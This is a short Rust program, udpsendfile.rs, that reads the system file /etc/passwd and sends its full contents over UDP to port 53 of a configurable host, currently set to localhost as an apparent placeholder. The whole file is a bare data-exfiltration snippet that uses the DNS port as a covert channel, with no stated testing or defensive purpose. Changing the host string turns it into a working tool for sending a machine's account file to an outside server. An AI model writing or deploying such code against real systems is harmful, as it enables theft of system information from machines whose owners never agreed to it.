udpsendfile.rs

use std::net::UdpSocket;
use std::fs::File;
use std::io::prelude::*;

fn main() {
    let host = "127.0.0.1";
    let port = "53";

    let  x = File::open("/etc/passwd");
    let mut file = match x {
        Ok(x) => x,
        Err(_) => unimplemented!(),
    };

    let mut contents = String::new();
    file.read_to_string(&mut contents).expect("woo");
    
    let udp = UdpSocket::bind("127.0.0.1:34254").expect("couldn't bind to address");
    let destination = format!("{}:{}", host, port);

    udp.connect(&destination).expect("unable to connect");
    udp.send(contents.as_bytes()).expect("Fehler beim senden");
}